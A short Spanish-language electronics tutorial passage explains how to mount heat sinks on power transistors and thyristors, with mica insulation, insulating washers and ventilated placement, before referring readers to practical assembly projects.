Montaje de los disipadores térmicos:

Estos se colocan generalmente a algunos componentes y fundamentalmente a semiconductores.

Este radiador se situará sobre el componente, antes del montaje de éste sobre el circuito impreso. Cuando sea posible se procurará que el conjunto componente-radiador quede sujeto mecánicamente al circuito a través del mismo tornillo, conformando los terminales de una forma adecuada y añadiendo un separador de la altura suficiente para conseguir un aislamiento de la placa, realizando esto en un material que no trasmita el calor.

Hay algunos modelos de transistores y tiristores de potencia cuyo montaje se realiza diréctamente sobre un radiador lo suficientemente grande para que sea capaz de evacuar el calor producido.

Para su instalación se emplea una lámina de mica que aísla el cuerpo del transistor del radiador, y unas arandelas y tubos aislantes con los que se consigue el mismo efecto, sobre los tornillos de fijación y los terminales de salida.

Normalmente el transistor y su disipador son montados separados del circuito impreso y se sitúan en una zona del equipo que disponga de ventilación, para así poder evacuar el calor generado.

A partir de estos breves conceptos tratados hasta aquí, estamos en condiciones de realizar cualquiera de los montajes prácticos explicados en su respectiva sección.

En ellos se incluyen, en caso de serlas necesarias, otras indicaciones que hay que tener en cuenta para el armado del circuito.